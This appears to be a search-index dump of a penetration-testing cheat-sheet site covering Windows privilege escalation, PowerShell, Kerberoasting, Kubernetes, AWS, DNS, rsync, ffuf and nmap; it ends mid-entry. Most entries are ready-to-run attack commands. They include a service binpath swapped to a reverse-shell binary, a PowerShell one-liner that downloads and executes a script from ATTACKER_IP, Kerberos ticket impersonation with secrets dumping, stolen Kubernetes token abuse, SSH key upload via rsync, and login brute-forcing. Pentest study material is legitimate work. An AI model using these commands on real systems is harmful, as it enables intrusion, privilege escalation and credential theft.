authority shell \n1. Check permissons\n```sh\naccesschk.exe /accepteula -uwcqv user <serviceName>\n```\n2. Query service\n```sh\nsq qc <service>\n```\n3. Set service config to the msfvenom reverse shell, uploaded previously.\n```\nsc config daclsvc binpath= \"\\\"C:\\shell.exe\"\"\n```\n4. Start service and gain high priv shell\n```sh\nnet start daclsvc\n```\n\n\n## Tips & Tricks\n\n* [Sysinternal tools can be used without installing](https://live.sysinternals.com/)\n* Execute through explorer via\n```sh\n\\\\live.sysinternals.com\\tools\n```\n","description":"","tags":[],"title":"Sysinternals and CLI usage","uri":"/enumeration/windows/sysinternals.html"},{"content":"Manual Windows Enumeration\n## General Info\n\n```sh\nsysteminfo\n```\n\n* Check installed updates\n```sh\nwmic qfe get Caption,Description\n```\n\n## Users\n\n* `whoami /priv`\n* `whoami /groups`\n* `whoami /all`\n* `net user`\n\n* `net group`\n* `net localgroup <groupname>`\n* `net accounts`\n* `net accounts /domain`\n\n## Network Info\n\n```sh\nipconfig\nipconfig /all\n```\n\n```sh\nnetstat -noba\n```\n\n```sh\narp -a\n```\n\n* Show shares\n```sh\nnet share\n```\n\n## Services\n\n```sh\nnet start\nwmic service get name,version,vendor\n```\n\n### Non-Default Services\n\n* Looking for non-default services:\n```sh\nwmic service get name,displayname,pathname,startmode | findstr /v /i \"C:\\Windows\"\n```\n\n * **Unquoted Service Path** Ideally there is a path without quotation\n * Check which account the service the services run as\n\n ```sh\n sc qc <ServiceName>\n ```\n\n* Check if directory is writeable\n\n```sh\npowershell \"get-acl -Path 'C:\\Program Files (x86)\\System Explorer' | format-list\"\n```\n\n","description":"","tags":[],"title":"Manual Windows Enumeration","uri":"/enumeration/windows/manual_enum.html"},{"content":"RPCclient\n* Enumerate users and groups\n\n```sh\nrpcclient <domain> <users>\nrpcclient $> enumdomusers\n...\nrpcclient $> enumdomgroups\n```\n","description":"","tags":[],"title":"RPCclient","uri":"/enumeration/windows/rpcclient.html"},{"content":"SysmonSysmon gathers detailed and high-quality logs as well as event tracing that assists in identifying anomalies in your environment. Sysmon is most commonly used in conjunction with security information and event management (SIEM) system or other log parsing solutions that aggregate, filter, and visualize events. \n\n## Paths\n* Logfiles\n```\nApplications and Services Logs/Microsoft/Windows/Sysmon/Operational\n```\n\n## Configuration\n* [SwiftOnSecurity](https://github.com/SwiftOnSecurity/sysmon-config)\n* [ION-Storm](https://github.com/ion-storm/sysmon-config/blob/develop/sysmonconfig-export.xml)\n\n## Installation\n```sh\nDownloads-SysInternalsTools C:\\Sysinternals\n```\n\n## Best Practices\n* Exclude, not include events\n* CLI gives further control over filters\n```sh\nGet-WinEvent\n```\n```sh\nwevutil.exe\n```\n* Know the env before implementation\n\n## Filtering Events\n* Actions -> Filter Current Log\n\n### Filtering Events with Powershell\n* Logged Events containing port 4444\n```sh\nGet-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name=\"DestinationPort\"] and */EventData/Data=4444'\n```\n* Logged Events containing lsass.exe\n```sh\nGet-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=10 and */EventData/Data[@Name=\"TargetImage\"] and */EventData/Data=\"C:\\Windows\\system32\\lsass.exe\"'\n```\n* Rats and C2\n```sh\nGet-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name=\"DestinationPort\"] and */EventData/Data=<Port>'\n```\n\n## Evasion Techniques\n* Alternate Data Streams\n* Injections\n* Masquerading\n* Packing/Compression\n* Recompiling\n* Obfuscation\n* Anti-Reversing Techniques\n* Remote Thread (OpenThread, ResumeThread)\n\n### Detecting Evasion Techniques with Powershell\n```sh\nGet-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=15'\nGet-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=8'\n```\n\n\n","description":"","tags":[],"title":"Sysmon","uri":"/enumeration/windows/sysmon.html"},{"content":"Powershell Usage\n## Get-Help\n```\nGet-Help Command-Name \n```\n* Show examples\n```\nGet-Help Command-Name -Examples\n```\n\n* Get-Command gets all the cmdlets installed on the current Computer. \n```\nGet-Command\n```\n```\nGet-Command Verb-*\nGet-Command Invoke-*\nGet-Command Get-*\n```\n\n## Passing Output via Pipe\n* A pipe passes object including methods and attributes.\n\n```\nVerb-Noun | Get-Member\n```\n```\nGet-Command | Get-Member -MemberType Method\n```\n\n## Creating Objects from Previous Cmdlets\n```\nGet-ChildItem | Select-Object -Property Mode, Name\n```\n* first - gets the first x object\n* last - gets the last x object\n* unique - shows the unique objects\n* skip - skips x objects\n\n## Filtering Objects\n```\nVerb-Noun | Where-Object -Property PropertyName -operator Value\nVerb-Noun | Where-Object {$_.PropertyName -operator Value}\n```\nThe second version uses the $_ operator to iterate through every object passed to the Where-Object cmdlet.\n* Where -operator is a list of the following operators:\n\n* -Contains: if any item in the property value is an exact match for the specified value\n* -EQ: if the property value is the same as the specified value\n* -GT: if the property value is greater than the specified value\n\n## Sort Object\n```\nVerb-Noun | Sort-Object\n```\n```\nGet-ChildItem | Sort-Object\n```\n\n## Finding a File\n```\nGet-ChildItem -Path C:\\ -Recurse -Include *.txt -ErrorAction SilentlyContinue | Where-Object {$_.Name -match 'interesting-file'}\n``` \n```sh\nGet-HotFix | Format-list | findstr <searchstring>\n```\n```sh\nGet-ChildItem -Hidden -Recurse -ErrorAction SilentlyContinue\n```\n* Find backup files\n```sh\nGet-ChildItem -Path C:\\ -Recurse -Include *.bak* -ErroAction SilentlyContinue\n```\n* Find file contents\n```sh\nGet-ChildItem -Path C:\\* -Recurse | Select-String -pattern API_KEY\n```\n\n## Showing File Content\n```\nGet-Content 'C:\\Program Files\\interesting-file.txt'\n```\n* Indexing lines\n```sh\n(Get-Content -Path file.txt)[index]\n```\n* Search\n```sh\nSelect-String <filename> -Pattern <pattern>\n```\n\n## Copy File Content\n```sh\nCopy-Item <sourcefile> <destfile>\n```\n\n## Count Lines of Output\nAs an example, count all cmdlets on the system\n```\nGet-Command | Where-Object CommandType -eq CmdLet | Measure-Object \n```\n\n## Count Words\n```\nGet-Command | Where-Object CommandType -eq CmdLet | Measure-Object -Word\n```\n\n## Checksum of File\n```\nGet-FileHash -Algorithm MD5 'C:\\Program Files\\interesting-file.txt'\n```\n\n## Current Working Directory\n```\nGet-Location\n```\n\n## File Metadata \n```sh\nls | Format-List *\n```\n\n## Web Request\n```sh\nInvoke-Webrequest -Uri 'http://<attacker-ip> -OutFile <filename>\n```\n```sh\n(New-Object System.Net.WebClient).DownloadFile(\"http://example.com/meterpreter.ps1\", 'meterpreter.ps1')\n```\n\n* Webrequest and execute in one go\n```sh\npowershell -exec bypass -c \"IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%/PowerView.ps1'); Get-NetUser | select samaccountname, description\"\n```\n\n## Base64 Decode File\n```\n[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content .\\Desktop\\b64.txt)))\n```\n\n## **Circumvent Execution-Policy**\n```sh\npowershell -ExecutionPolicy Bypass -File .\\<file>\n```\n```sh\nSet-ExecutionPolicy Bypass -Scope Process\n```\n\n## Enumeration\n\n### Users\n```\nGet-LocalUser\n```\n\n* Password not required users\n```\nGet-LocalUser | Where-Object -Property PasswordRequired -Match false\n```\n\n* SID of users\n```\nGet-WmiObject win32_useraccount | Select name, sid\n```\n\n### Network intel\n* Connections\n```sh\nnetstat -ano\n```\n* IP Address\n```\nGet-NetIpAddress\n```\n\n* Listening TCP Ports\n```\nGet-NetTCPConnection | Where-Object -Property State -Match Listen | measure\n```\n\n* TCP Port by number\n```\nGet-NetTCPConnection | Where-Object -Property LocalPort -Match 443\n```\n\n### Patch level and updates\n```\nGet-Hotfix\n```\n* Find patch by HotFixID\n```\nGet-Hotfix | Where-Object -Property HotFixID -Match KB124284\n```\n```sh\nwmic qfe get Caption,Description,HotFixID,InstalledOn\n```\n\n### Drivers\n```sh\ndriverquery\n```\n\n### Processes\n* Start processes\n```sh \nStart-Process <process>\n```\n\n* Running processes\n```sh\nGet-Process <process>\n```\n### Scheduled tasks\n```sh\nschtasks /query /fo LIST /v\n```\n```sh\nGet-ScheduledTaskInfo\n```\n* Scheduled Tasks, by TaskName\n```\nGet-ScheduledTask | Where-Object -Property TaskName -Match taskname\n```\nor\n```\nGet-ScheduledTask -TaskName taskname\n```\n\n### Alternate Data Stream(ADS)\n* Show ADS\n```sh\nGet-Item -Path file.exe -Stream *\n```\n* Open ADS\n```sh\nwmic process call create $(Resolve-Path file.exe:streamname)\n```\n\n### Export Output\n* Export as CSV\n```sh\nGet-Process <process> | Export-Csv <output.csv>\n```\n\n### ACL\n* Owner of files\n```\nGet-ACL C:\\\n```\n\n### Port Scanner\n```\nfor($i=1; $i -le 65536; $i++) { Test-NetConnection localhost -Port $i}\n``` \n\n### Ping Hosts\n```sh\n1..15 | %{echo \"10.0.2.$_\"; ping -n 1 10.0.2$_ | Select-String ttl}\n```\n\n### Antivirus\n```sh\nsc query windefend\n```\n* Service name unknown\n```sh\nsc queryex type=service\n```\n\n### Using Powerview\n```sh\nImport-Module .\\powerview.ps1\nGet-NetDomainController\n(Get-NetUser).name\nGet-NetUser -properties description\nGet-NetUser | select -ExpandProperty lastlogon\nGet-NetComputer -ping\nGet-NetGroupMember \"Domain Admins\"\nFind-DomainShare -CheckShareAccess\n```\n* Enumerate Group Policy\n```sh\nGet-NetGPO\n```\n* Trust relationship to other domains\n```sh\nGet-NetDomainTrust\n```\n* User enumeration\n```sh\nFind-LocalAdminAccess\n```\n```sh\nwhoami /priv\n```\n\n```\nImport-Module ActiveDirectory\nGet-ADGroup\nGet-ADGroupMember\nGet-ADPrincipalGroupMembership\n```\n","description":"","tags":[],"title":"Powershell Usage","uri":"/enumeration/windows/powershell.html"},{"content":"Volume Shadow Copy Service\n## Usage\n```sh\nvssadmin list volumes\n```\n```sh\nvssadmin list shadows\n```\n","description":"","tags":[],"title":"Volume Shadow Copy Service","uri":"/enumeration/windows/vss.html"},{"content":"Kerberoast\n## Usage\n\n### List users\n\n```sh\nkerbrute userenum -d $DOMAIN --dc $TARGET_IP $USER_LIST\n```\n\n### Get Users\n* Impacket's `GetNPUsers.py` to get Hashes of userlist\n```sh\nGetNPUsers.py -no-pass <DomainName>/ -usersfile users.txt -format john -outputfile hashes\n```\n\n### Find SPNs\n \n```sh\nGetUserSPNs.py -request <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP \n```\nor\n```sh\npyverview get-netuser -u <USER> -p <PASSWORD> -t <SUBDOMAIN> -d <DOMAIN>\n```\n\n### Further Intel\n\n```sh\nfindDelegation.py -debug <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP\n```\n\n### Check Found Users\n* Use crackmapexec to check access to further user accounts with the password of the user found with `GetNPUsers.py`\n```sh\ncrackmapexec smb $TARGET_IP -u users.txt -p pass.txt\n```\n * Watch out for `STATUS_PASSWORD_MUST_CHANGE`\n * Change password with \n```sh\nsmbpasswd.py <user>@$TARGET_IP -newpass password123\n```\n\n### Impersonate\n\n```sh\ngetST.py -spn <USER>/<SUBDOMAIN> -impersonate Administrator '<DOMAIN>/<USER>:<PASSWORD>' -dc-ip $TARGET_IP\n```\n* Serviceticket is save as `Administrator.ccache`\n* `export KRB5CCNAME=Administrator.ccache`\n* After that dump secrets\n```sh\nsecretsdump.py -k -no-pass <DOMAIN> \n```\n\n","description":"","tags":[],"title":"Kerberoast","uri":"/enumeration/docs/kerberoast.html"},{"content":"Kubectl\n* Get pods, `-A` for all namespaces\n```sh\nkubectl get pods -A \n```\n* Check mounted secret\n```sh\nkubectl auth can-i --list\nkubectl get secrets\nkubectl get nodes\nkubectl get deployments\nkubectl get services\nkubectl get ingress\nkubectl get jobs\n```\n* Intel about a secret, and output\n```sh\nkubectl describe secrets <secret> \nkubectl get secret <secret> -o json\nkubectl describe secrets <secret> -o 'json'\n```\n## Abuse Token\n* Inside a pod the service token(jwt) can be found under `/var/run/secrets/kubernetes.io/serviceaccount/token`\n* By change of an LFI extract the token and \n```sh\nkubectl auth can-i --list --token=$TOKEN\nkubectl get pods --token=$TOKEN\nkubectl exec -it <pod name> --token=$TOKEN -- /bin/sh\n```\n\n## Create Pods\n\n* Use [BishopFox's BadPods](https://github.com/BishopFox/badPods.git)\n* If there is no internet connection add `imagePullPolicy: IfNotPresent` to the YAML file\n```sh\nkubectl apply -f pod.yml --token=$TOKEN\n```\n* Start Pod\n```sh\nkubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- /bin/bash\n```\n\n## Start Pods\n\n```sh\nkubectl exec -it <podname> -n <namespace> -- /bin/bash\n```\n","description":"","tags":[],"title":"Kubectl","uri":"/enumeration/docs/kubectl.html"},{"content":"Microk8s\n* [microk8s repo](https://github.com/ubuntu/microk8s)\n\n## Enumeration\n\n```sh\nmicrok8s kubectl get nodes\nmicrok8s kubectl get services\nmicrok8s kubectl get pods\nmicrok8s kubectl get deployments -o wide\nmicrok8s kubectl cluster-info\n```\n","description":"","tags":[],"title":"Microk8s","uri":"/enumeration/docs/microk8s.html"},{"content":"Wfuzz\n* Fuzz parameters\n```sh\nwfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt -X POST --hh 45 -u http://<target-IP>/api/items\\?FUZZ\\=test\n```\n","description":"","tags":[],"title":"Wfuzz","uri":"/enumeration/docs/wfuzz.html"},{"content":"Gobuster\n[Repo](https://github.com/OJ/gobuster.git)\n\n### Directories\n```sh\ngobuster dir -u <URL> -w <wordlist>\n```\n\n### DNS \n```sh \ngobuster dns -d <domainName> -w <wordlist> --show-cname --show-ips --resolver <dns-Server>\n```\n\n### Vhosts\n* Find other Domains on a host via `seclists/Discovery/DNS/subdomains-top1million-5000.txt`\n```sh\ngobuster vhost -u <URL> -w <wordlist> \n```\n\n\n### FileExtension\n```sh\n-x\n```\n* Fuzz for files and file extensions\n```sh\ngobuster dir -u <URL> -w /usr/share/seclists/Discovery/raft-small-word-lowercase.txt -x .conf,.js\n```\n\n### Basic Auth \n```sh\ngobuster help dir\n```\n* `--username` and `--password`\n\n* `dir -s` Accept HTTP Status \n* `dir -k` Skip TLS Auth\n* `dir -a` User Agent\n\n### Wordlists\n```sh\n/usr/share/seclists/Discovery/Web-Content/common.txt\n/usr/share/seclists/Discovery/Web-Content/big.txt\n/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt\n/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt\n/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt\n```\n","description":"","tags":[],"title":"Gobuster","uri":"/enumeration/docs/gobuster.html"},{"content":"WPScan\n## Themes\n```sh\nwpscan --url <URL> --enumerate t\n```\n\n* `ls` for content\n\n## Plugins\n```sh\nwpscan --url <URL> --enumerate p\n```\n\n## Users\n```sh\nwpscan --url <URL> --enumerate u\n```\n\n## Vulnerabilities\n* WPVulnDB API is needed\n* Plugins\n```sh\nwpscan --url <URL> --enumerate vp\n```\n\n## Password attack\n```sh\nwpscan --url <URL> --passwords <wordlist> --usernames <usersFromEnumeration>\n```\n\n## WAF Aggressiveness\n```sh\nwpscan --url <URL> --enumerate p --plugins-detection <aggressive/passive>\n\n","description":"","tags":[],"title":"WPScan","uri":"/enumeration/docs/wpscan.html"},{"content":"AWS S3 Enumeration\n## Usage\n\n* [Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-segions)\n * `--region`\n### Simple Storage Service (S3)\n* [S3](https://aws.amazon.com/s3/)\n* Methods of access control are as follows\n * [Bucket policies](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-policies.html)\n * [S3 ACL](https://docs.aws.amazon.com/AmazonS3/latest/userguide/managing-acls.html)\n\n* Scheme is\n```sh\nhttp://<bucketname>.s3.amazonaws.com/file.name\n```\nor\n```sh\nhttp://s3.amazonaws.com/BUCKETNAME/FILENAME.ext\n```\n\n* __List content of public bucket via__\n```sh\naws s3 ls s3://<bucketname>/ --no-sign-request\n```\n* Download via `curl`, `wget` or `s3` cli via\n```sh\naws s3 cp s3://<bucketname>/foo_public.xml . --no-sign-request\n```\n\n#### ACL\n* `Anyone`, just `curl`\n* `AuthenticatedUsers`, `s3` cli with aws key\n\n## IAM\n* Not necessarily used by s3\n* Access key ID, starts with `AKIA` + 20 chars\n* Secret access key\n* Session token, `ASIA` + sessionToken\n\n* Add credentials to profile via\n```sh\naws configure --profile PROFILENAME\n```\n* Config and credentials is stored at `~/.aws`\n* Sanity test profile via\n```sh\naws s3 ls --profile PROFILENAME\n```\n* Find account ID to an access key\n```sh\naws sts get-access-key-info --access-key-id AKIAEXAMPLE\n```\n* Find username to an access key\n```sh\naws sts get-caller-identity --profile PROFILENAME\n```\n* Listing EC2 instances of an account\n```sh\naws ec2 describe-instances --output text --profile PROFILENAME\n```\n* aws ec2 describe-instances --output text --profile PROFILENAME\n```sh\naws ec2 describe-instances --output text --profile PROFILENAME\n```\n * In another region\n```sh\naws ec2 describe-instances --output text --region us-east-1 --profile PROFILENAME\n```\n\n### AWS ARN\n* Unique ID is create via the following scheme\n```sh\narn:aws:<service>:<region>:<account_id>:<resource_type>/<resource_name>\n```\n\n### Secrets\n\n```sh\naws secretsmanager help\naws secretsmanager list-secrets\nws secretsmanager get-secret-value --secret-id <Name> --region <region>\n```\n\n","description":"","tags":[],"title":"AWS S3 Enumeration","uri":"/enumeration/docs/aws.html"},{"content":"DNS\n## Subdomain Enumeration\n\n* Get all the info via \n```sh\ndig @$TARGET_DNS $DOMAIN axfr\ndrill @$TARGET_DNS $DOMAIN axfr\n```\n\n* [subrake](https://github.com/hash3liZer/Subrake.git)\n\n\n## Join a Domain\n\n* Join a windows domain by setting the A record to the attacker's IP, needs cert and Pk \n```sh\nnsupdate\nserver <DNS-IP>\nupdate delete <sub.domain.com>\nupdate add <sub.domain.com> 1234 A $ATTACKER_IP\nsend\nquit\n```\n* Check domain by querying the subdomain's A record via dig/drill/nslookup\n","description":"","tags":[],"title":"DNS","uri":"/enumeration/docs/dns.html"},{"content":"rpcclient\n```sh\nrpcclient -U% $TARGET_IP\n```\n* Input commands, attributes count for the current user on the machine\n```sh\nenumdomusers\nenumdomains\nenumprivs \n```\n","description":"","tags":[],"title":"rpcclient","uri":"/enumeration/docs/rpcclient.html"},{"content":"LDAP\n## Get Domain\n\n```sh\nldapsearch -H ldap://$TARGET_IP -x -s base namingcontexts\n```\n* Use found namingcontexts DC\n```sh\nldapsearch -H ldap://$TARGET_IP -x -b 'DC=<DC>,DC=<ORG>\n```\n* Authenticated LDAP Search\n```sh\nldapsearch -H ldap://$TARGET_IP -x -b 'DC=<DC>,DC=<ORG>' -D '<DC>\\<user>' -W > outfile\n```\n\n## Domain Dump\n\n* If a set of credentials are known via\n```sh\nldapdomaindump $TARGET_IP -u '<domain>\\<user>' -p '<password>' --no-json --no-grep\n```\n* Take a look at the genreated HTML files\n","description":"","tags":[],"title":"LDAP","uri":"/enumeration/docs/ldap.html"},{"content":"rsync\n* [netspi article]( https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/)\n* [hacktricks' rsync](https://book.hacktricks.xyz/pentesting/873-pentesting-rsync)\n\n## Enumerate\n\n```sh\nrsync <target-IP>::\nrsync <target-IP>::files\nrsync <target-IP>::files/foo/\n```\n### via netcat\n* Another way is the following\n```sh\nnc -vn $TARGET_IP 873\n```\n* Repeat the identical handshake, e.g.\n```\n@RSYNCD: 31.0\n```\n* List all directories\n```sh\n#list\n```\n\n## Downloads\n\n```sh\nrsync <user>@<target-IP>::/files/foo/bar.txt .\nrsync -r <user>@<target-IP>::/files/foo .\n```\n\n## Uploads\n\n```sh\nrsync authorized_keys <user>@<target-IP>::/files/foo/.ssh/\nrsync -r documents <user>@<target-IP>::/files/foo/\n```\n","description":"","tags":[],"title":"rsync","uri":"/enumeration/docs/rsync.html"},{"content":"Rustscan\n* [Rustscan repo](https://github.com/RustScan/RustScan)\n\n* Config at `$HOME/.rustscan_scripts.toml`\n\n## Usage\n```sh\nrustscan -r ports -a <Target-ip> -- <nmap cmds>\n```\n* Using nmap parameters\n```sh\nrustscan -a 127.0.0.1 -- -A -sC\n```\n","description":"","tags":[],"title":"Rustscan","uri":"/enumeration/docs/rustscan.html"},{"content":"Cewl\n* Wordlist generator from website\n* [CeWl repo](https://github.com/digininja/CeWL.git)\n","description":"","tags":[],"title":"Cewl","uri":"/enumeration/docs/cewl.html"},{"content":"Docker Enumeration\n## Save Images\n\n* Save image and extract it\n```sh\ndocker save -o image.tar <image-name>\ntar -xf image.tar\n```\n* Run a container from the image and `printenv`\n\n### Manifest\n* Read the manifest inside the image extracted\n```sh\njq . manifest.json\n```\n* Read the config JSON file mentioned in the manifest\n* Inside this config file there are the shell commands used at building the image\n* Snoop around after interesting files, especially inside the root dir in `layer.tar`\n\n\n","description":"","tags":[],"title":"Docker Enumeration","uri":"/enumeration/docs/docker_enumeration.html"},{"content":"Website Enumeration\n* `robots.txt`\n* [Favicon](https://wiki.owasp.org/index.php/OWASP_favicon_database), `curl` target and `md5sum`\n* `sitemap.xml`\n* Headers, `curl <site>` including `-I` or `-v` parameters\n* Check Components of the website, like blog frameworks, shops.\n* User Wappalyzer\n* Snapshots of the site via waybackmachine\n* Check repos of the site\n* Check buckets\n* Fuzz\n","description":"","tags":[],"title":"Website Enumeration","uri":"/enumeration/docs/websites.html"},{"content":"Fuzz Faster U Fool\n## Usage\n```sh\nffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt\n```\n* Fuzz dirs\n```sh\nffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt\n```\n* Fuzz files\n```sh\nffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt\n```\n\n### Fuzz parameters\n```sh\nffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fw 39\nffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fw 39\n```\n* Fuzz values\n```sh\nseq 0 255 | fuff -u 'http://<IP>/sqli-labs/Less-1/?id=FUZZ -c -w - -fw 33\n```\n* Fuzz Post Methods\n```sh\nffuf -u http://<IP>/sqli-labs/Less-11/ -c -w /usr/share/seclists/Passwords/Leaked-Databases/hak5.txt -X POST -d 'uname=Dummy&passwd=FUZZ&submit=Submit' -fs 1435 -H 'Content-Type: application/x-www-form-urlencoded'\n```\n### Fuzz Users and use Bruteforce\n* Fuzz users and write file\n```sh\nffuf -w /usr/share/seclists/Usernames/Names/names.txt -X POST -d \"username=FUZZ&email=x&password=x&cpassword=x\" -H \"Content-Type: application/x-www-form-urlencoded\" -u http://<targetURL>/customers/signup -mr \"username already exists\" -o fuff.out\n```\n* Use users saved in `fuff.out` to bruteforce\n```sh\nffuf -w userlist.txt:W1,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d \"username=W1&password=W2\" -H \"Content-Type: application/x-www-form-urlencoded\" -u http://<targetURL>/customers/login -fc 200\n```\n### Fuzz Subdomains\n```sh\nffuf -u http://FUZZ.test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n```\nor if the subdomains are listed in the target's host file\n```sh\nffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H \"Host: FUZZ.test.com\" -u http://<target-IP> -fs 0\n```\n* Fuzz Vhosts & Server Blocks\n```sh\nffuf -u http://FUZZ.test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0\nffuf -u http://test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.test.com' -fs 0\n```\n\n### Proxy\n* `-replay-proxy <IP>` or `-x <ProxyIP>`\n","description":"","tags":[],"title":"Fuzz Faster U Fool","uri":"/enumeration/docs/ffuf.html"},{"content":"Linux Basic Enumeration```sh\nless ~/.bash_history\n```\n```sh\ncat /etc/*-release\ncat /proc/version\nuname -a\n```\n```sh\nsudo -V\nsudo -L\n```\n* Check if is writeable\n```sh\nvim /etc/passwd\nvim /etc/hosts\n```\n```sh\ncrontab -l\n```\n\n* Find interesting files\n```sh\nfind / -perm /6000 2>/dev/null\nfind / -perm -u=s -type f 2>/dev/null\nfind / -type f -name \"*.log\" 2>/dev/null\nfind / -type f -name \"*.bak\" 2>/dev/null\nfind / -type f -name \"*.conf\" 2>/dev/null\n```\n\n* Open Sockets\n```sh\nlsof -i\nnetstat -natup\nss -natup\n```\n","description":"","tags":[],"title":"Linux Basic Enumeration","uri":"/enumeration/docs/linux_basics.html"},{"content":"NFS Enumeration\n* `rpcinfo -p $TARGET_IP`\n* `showmount -e $TARGET_IP`\n","description":"","tags":[],"title":"NFS Enumeration","uri":"/enumeration/docs/nfs.html"},{"content":"Shodan\n## Checking found Autonomous System Number (ASN)\n* Shodan does output ASN, not necessarily the IP of a small company. Search for\n```h\nasn:AS13335\n```\n* [ASN Check](https://dnschecker.org/asn-whois-lookup.php)\n\n## Banner\n* Example\n```json\n{\n \"data\": \"Moxa Nport Device\",\n \"Status\": \"Authentication disabled\",\n \"Name\": \"NP5232I_4728\",\n \"MAC\": \"00:90:e8:47:10:2d\",\n \"ip_str\": \"46.252.132.235\",\n \"port\": 4800,\n \"org\": \"Starhub Mobile\",\n \"location\": {\n \"country_code\": \"SG\"\n }\n }\n```\n\n## Filter\n* vulns\n```sh\nvuln:ms17-010\n```\n","description":"","tags":[],"title":"Shodan","uri":"/enumeration/docs/shodan.html"},{"content":"nmap\n## Scan Types\n* ARP\n* ICMP\n* TCP\n* UDP\n\n## Port States\n1. Open\n2. Closed\n3. Filtered\n4. Unfiltered\n5. Open|Filtered\n6. Close|Filtered\n\n## Usage\n\n```sh\nnmap -oA nmap-full -Pn -sS -T4 -p- --defeat-rst-ratelimit <IP>\n```\n```sh\nnmap -oA nmap-vuln -Pn -script vuln -p <Port,Port,Port,...> <IP>\n```\n\n### combo with searchsploit \n* nmap-full scan\n```sh\nsudo nmap -oA --nmap-full -sS -sC -sV -p- --defeat-rst-ratelimit <target-IP>\nsearchsploit --nmap ./nmap-full.xml --verbose\n```\n### Wordpress Enumeration\n```sh\nnmap --script http-wordpress-enum --scripts-args check-latest=true,search-limit=1500 -p 80 test.com\n```\n\n### Use List of Hosts\n```sh\nnmap -iL <ListofHosts>\n```\n* Show hosts, dns resolution included\n```sh\nnmap -sL -n 10.10.0.0/16\n```\n\n### ARP Scan Local Network\n```sh\nnmap -PR -sn 192.168.0.0/24\n```\n### ICMP Scans\n* __Type 8__ (Ping Request)\n```sh\nnmap -PE -sn 10.10.0.0/16\n```\n* __Type 13__ (Timestamp Request)\n```sh\nnmap -PP -sn 10.10.0.0/16\n```\n* __Type 17__ (Address Mask Queries)\n```sh\nnmap -PM -sn 10.10.0.0/16\n```\n\n### TCP Scans\n* `-PS23` Syn on port 23\n* `-PA80-8080` ACK on port range 80-8080\n\n#### TCP Scan Types\n* __Null Scan__ `-sN`, port is open when there is no response. Otherwise the response is `RST/ACK`\n* __FIN Scan__ `-sF` , same procedure as null scan.\n* __Xmas Scan__ `-sX`, `FIN/PSH/URG` is sent. `RST/ACK` when port is closed.\n* __Maimon Scan__ `-sM`, sends `FIN/ACK`. Packet is dropped when port is open. Only viable on old BSD networks.\n* __ACK Scan__ `-sA`, sends `ACK`. Receives `RST` regardless of the state of the port. May be used to explore firewall rules.\n* __Window Scan__ `-sW`, sends `ACK`, and receives `RST` as well. Inspects the window part of the response. Used to expose firewall rules.\n* __Custom Scan__ `--scanflags RSTACKFIN`, set flags randomly.\n\n### UDP SCans\n* `-PU` \n* May be answered by ICMP Type 3 if the port is not reachable\n\n### DNS Scan\n* No lookup `-n`\n* Reverse lookup for every host `-R` \n* Host discovery only `-sn`\n\n### Spoofing\n* IP `-S <spoofed-IP>`\n* MAC `--spoof-mac <spoofed-MAC>`\n* Disable ping scan `-Pn`\n* Decoy addresses `-D <decoy-IP>,<decoy-IP>,<decoy-IP>,RND,RND,ME`\n\n### Service Detection\n* `-sV`\n* `--version-intensity <level 0-9>`\n* Intensity 2 `--version-light`\n* Intensity 9 `--version-all`\n\n## Scripts\nInstalled at `/usr/share/nmap/scripts`\n* __auth__ Authentication related scripts\n* __broadcast__ Discover hosts by sending broadcast messages\n* __brute__ Performs brute-force password auditing against logins\n* __default__ Default scripts, same as -sC\n* __discovery__ Retrieve accessible information, such as database tables and DNS names\n* __dos Detects__ servers vulnerable to Denial of Service (DoS)\n* __exploit__ Attempts to exploit various vulnerable services\n* __external__ Checks using a third-party service, such as Geoplugin and Virustotal\n* __fuzzer__ Launch fuzzing attacks\n* __intrusive__ Intrusive scripts such as brute-force attacks and exploitation\n* __malware__ Scans for backdoors\n* __safe__ Safe scripts that won\u2019t crash the target\n* __version__ Retrieve service versions\n* __vuln__ Checks for vulnerabilities or exploit vulnerable services\n\n## Tips & Tricks\n* Scan the 100 most interesting ports via `-F`\n* `--top-ports 100` \n* One probe every 5 minutes via `-T0`\n* A closed port responds with `RST/ACK` to a initial `SYN`\n* Scan ports iteratively by using `-r`, not random\n* Closed Port \n* Control packet rate via `--min-rate` and `--max-rate`\n* Control parallel probes via `--min-parallelism` and `--max-parallelism`\n* Fragment packets `-f` 8 bytes, `-ff` 16 bytes or `--mtu`\n* Zombie Scan `-sI <pwnd-device-IP>` via pwnd host inside the targets network\n* `--reason`, `-d`, `-vv`\n* 